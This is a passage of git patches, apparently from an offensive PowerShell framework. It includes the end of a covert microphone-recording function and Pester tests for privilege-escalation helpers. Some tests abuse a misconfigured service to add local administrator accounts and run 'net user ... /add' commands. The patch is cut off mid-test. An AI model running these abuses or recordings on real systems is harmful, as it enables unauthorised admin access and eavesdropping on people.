$alias",'',0,0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #Call recording function + $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + Start-Sleep -s $Length + + #save recorded audio to disk + $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #terminate alias + $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0); + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + $OutFile = Get-ChildItem -path $path + Write-Output $OutFile + + } + else + { + Throw 'Failed to enumerate any recording devices' + } +} diff --git a/README.md b/README.md index b818576..dfb1b3a 100644 --- a/README.md +++ b/README.md @@ -128,6 +128,10 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + ## Mayhem **Cause general mayhem with PowerShell.** diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5..ed98f45 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -52,3 +52,34 @@ Describe 'Get-Keystrokes' { Remove-Item -Force "$($env:TEMP)\key.log" } + +Describe "Get-MicrophoneAudio" { + + $RecordPath = "$env:TEMP\test_record.wav" + $RecordLen = 2 + Context 'Successful Recording' { + BeforeEach { + #Ensure the recording as been removed prior to testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + AfterEach { + #Remove the recording after testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + It 'should record audio from the microphone and save it to a specified path' { + $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen + $result | Should Not BeNullOrEmpty + $result.Length | Should BeGreaterThan 0 + } + + } + + Context 'Invalid Arguments' { + It 'should not allow invalid paths to be used' { + { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw + } + } + +} -- cgit v1.2.3 From 1b359e7875de1e8392224af8591d062fff89a525 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 17:47:10 -0400 Subject: Overhauled and completed PowerUp/Privesc Pester tests --- Tests/Privesc.tests.ps1 | 835 ++++++++++++++++++++++++++++++++++++------------ 1 file changed, 622 insertions(+), 213 deletions(-) (limited to 'Tests') diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 999d712..3641ece 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -25,19 +25,59 @@ function Test-IsAdmin { ######################################################## # -# PowerUp helpers functions. +# PowerUp helper functions. # ######################################################## -Describe 'Get-ModifiableFile' { +Describe 'Get-ModifiablePath' { - It 'Should output a file path.' { + It 'Should output a file Path, Permissions, and IdentityReference in results.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiablePath result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiablePath result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiablePath result doesn't contain 'IdentityReference' field." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should output the correct file path in results.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should return the proper permission set.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.Permissions -notcontains 'WriteData/AddFile') { + Throw "Get-ModifiablePath result doesn't contain the proper permission set." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -51,8 +91,8 @@ Describe 'Get-ModifiableFile' { $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -62,148 +102,307 @@ Describe 'Get-ModifiableFile' { It 'Should return no results for a non-existent path.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Get-ModifiableFile -Path $FilePath + $Output = Get-ModifiablePath -Path $FilePath $Output | Should BeNullOrEmpty } - It 'Should accept a Path over the pipeline.' { + It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force - $Output = $FilePath | Get-ModifiableFile - $Output | Should BeNullOrEmpty + try { + $Output = $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should accept a file object over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ChildItem -Path $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } -Describe 'Test-ServiceDaclPermission' { +Describe 'Get-CurrentUserTokenGroupSid' { if(-not $(Test-IsAdmin)) { - Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." } - - It "Should fail finding 'sc.exe'." { + + It 'Should not throw.' { + {Get-CurrentUserTokenGroupSid} | Should Not Throw + } + + It 'Should return SIDs and Attributes.' { + $Output = Get-CurrentUserTokenGroupSid | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'SID') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'SID' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'Attributes' field." + } + } + + It 'Should return the local administrators group SID.' { + $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID + + if($CurrentUserSids -notcontains 'S-1-5-32-544') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain local administrators 'S-1-5-32-544' sid" + } + } +} + +Describe 'Add-ServiceDacl' { + + if(-not $(Test-IsAdmin)) { + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-Service | Add-ServiceDacl} | Should Not Throw + } + + It 'Should accept a service as a parameter argument.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = Add-ServiceDacl -Service $Service + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should accept a service object on the pipeline.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should return a correct service Dacl.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + # 'AllAccess' = [uint32]'0x000F01FF' + $Rights = $ServiceWithDacl.Dacl | Where-Object {$_.SecurityIdentifier -eq 'S-1-5-32-544'} + if(($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { + Throw "'Add-ServiceDacl' doesn't return the correct service Dacl." + } + } +} + +Describe 'Set-ServiceBinPath' { + + if(-not $(Test-IsAdmin)) { + Throw "'Set-ServiceBinPath' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + $ServicePath = 'C:\Program Files\service.exe' + + $Result = $False + {$Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath} | Should Throw + $Result | Should Be $False + } + + It 'Should throw with an empty binPath.' { + $ServiceName = Get-RandomName + {Set-ServiceBinPath -Name $ServiceName -binPath ''} | Should Throw + } + + It 'Should correctly set a service binary path.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - $DirectoryName = Get-RandomName - $env:SystemRoot = 'C:\\' + $DirectoryName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" - - sc.exe delete $ServiceName | Should Match "SUCCESS" - $env:SystemRoot = 'C:\Windows' + + $Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath + $Result | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed finding 'sc.exe'." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True + + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True - $DirectoryName = Get-RandomName - New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory - New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File - $env:SystemRoot = $env:Temp + "\$DirectoryName" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" - $env:SystemRoot = 'C:\Windows' - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for a non-existent service." { +} + + +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + {$Result = Test-ServiceDaclPermission -Name $ServiceName} | Should Throw } - - It "Should succeed querying WMI for an existenting service." { + + It 'Should throw with an empty name.' { + {Test-ServiceDaclPermission -Name ''} | Should Throw + } + + It 'Should throw with an invalid permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + {Test-ServiceDaclPermission -Name $ServiceName -Permissions 'nonexistent'} | Should Throw + } + + It 'Should throw with an invalid permission set parameter.' { + $ServiceName = Get-RandomName + {Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'nonexistent'} | Should Throw + } + + It 'Should succeed with an existing service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + + It 'Should succeed with an existing service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + + It 'Should succeed with a permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } - - It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + + $Result = Test-ServiceDaclPermission -Name $ServiceName -Permissions 'AllAccess' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with a permission set parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'ChangeConfig' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - it "Should fail finding the service DACL value of 'WP' for the current user." { + + It "Should fail for an existing service due to insufficient DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + {Test-ServiceDaclPermission -Name $ServiceName} | Should Throw + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - it "Should succeed finding the service DACL value of 'WP' for the current user." { + It "Should succeed with for an existing service due to sufficient specific DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } } ######################################################## @@ -225,13 +424,13 @@ Describe 'Get-ServiceUnquoted' { It 'Should return service with a space in an unquoted binPath.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should Not BeNullOrEmpty $Output.ServiceName | Should Be $ServiceName @@ -242,25 +441,25 @@ Describe 'Get-ServiceUnquoted' { $ServiceName = Get-RandomName $ServicePath = "'C:\Program Files\service.exe'" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should BeNullOrEmpty } } -Describe 'Get-ServiceFilePermission' { +Describe 'Get-ModifiableServiceFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableServiceFile ' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServiceFilePermission} | Should Not Throw + {Get-ModifiableServiceFile} | Should Not Throw } It 'Should return a service with a modifiable service binary.' { @@ -269,14 +468,47 @@ Describe 'Get-ServiceFilePermission' { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" $Null | Out-File -FilePath $ServicePath -Force - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" - - $Output | Should Not BeNullOrEmpty - $Output.ServiceName | Should Be $ServiceName - $Output.Path | Should Be $ServicePath + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } | Select-Object -First 1 + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableServiceFile result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'ModifiableFile') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFile' field." + } + if ($Properties -notcontains 'ModifiableFilePermissions') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFilePermissions' field." + } + if ($Properties -notcontains 'ModifiableFileIdentityReference') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFileIdentityReference' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableServiceFile result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableServiceFile result doesn't contain 'CanRestart' field." + } + + if($Output.Path -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct Path for a modifiable service file." + } + + if($Output.ModifiableFile -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct ModifiableFile for a modifiable service file." + } + + $Output.CanRestart | Should Be $True + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } finally { $Null = Remove-Item -Path $ServicePath -Force @@ -287,29 +519,47 @@ Describe 'Get-ServiceFilePermission' { $ServiceName = Get-RandomName $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } $Output | Should BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } } -Describe 'Get-ServicePermission' { +Describe 'Get-ModifiableService' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableService' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-ModifiableService} | Should Not Throw } It 'Should return a modifiable service.' { - $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} + $Output = Get-ModifiableService | Where-Object { $_.ServiceName -eq 'Dhcp'} | Select-Object -First 1 $Output | Should Not BeNullOrEmpty + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableService result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableService result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableService result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableService result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableService result doesn't contain 'CanRestart' field." + } } } @@ -317,17 +567,26 @@ Describe 'Get-ServicePermission' { Describe 'Get-ServiceDetail' { It 'Should return results for a valid service.' { - $Output = Get-ServiceDetail -ServiceName Dhcp + $Output = Get-ServiceDetail -Name 'Dhcp' $Output | Should Not BeNullOrEmpty } - It 'Should return not results for an invalid service.' { - $Output = Get-ServiceDetail -ServiceName NonExistent123 - $Output | Should BeNullOrEmpty + It 'Should throw with an empty Name.' { + $ServiceName = Get-RandomName + {Get-ServiceDetail -Name ''} | Should Throw + } + + It 'Should throw for an invalid service.' { + {Get-ServiceDetail -Name 'NonExistent123'} | Should Throw } It 'Should accept a service name on the pipeline.' { - $Output = "Dhcp" | Get-ServiceDetail + $Output = 'Dhcp' | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'Dhcp' | Get-ServiceDetail $Output | Should Not BeNullOrEmpty } } @@ -348,57 +607,97 @@ Describe 'Invoke-ServiceAbuse' { BeforeEach { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - $Null = sc.exe create "PowerUpService" binPath= $ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { - $Null = sc.exe delete "PowerUpService" + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } It 'Should abuse a vulnerable service to add a local administrator with default options.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept the -Force switch.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -Force + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'Should accept a service name on the pipeline.' { - $Output = "PowerUpService" | Invoke-ServiceAbuse - $Output.Command | Should Match "net" + $Output = 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'User should not be created for a non-existent service.' { - $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" - $Output.Command | Should Match "Not found" + {Invoke-ServiceAbuse -ServiceName 'NonExistentService456'} | Should Throw - if( ($(net localgroup Administrators) -match "john")) { + if( ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' should not have been created for non-existent service." } } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) } + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password + + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Guests) -match 'john')) { + Throw "Local user 'john' not added to 'Guests'." + } + } + It 'Should accept a custom command.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Command 'net user testing Password123! /add' if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + Throw 'Custom command failed.' } $Null = $(net user testing /delete >$Null 2>&1) } @@ -414,13 +713,13 @@ Describe 'Install-ServiceBinary' { BeforeEach { $ServicePath = "$(Get-Location)\powerup.exe" $Null | Out-File -FilePath $ServicePath -Force - $Null = sc.exe create "PowerUpService" binPath= 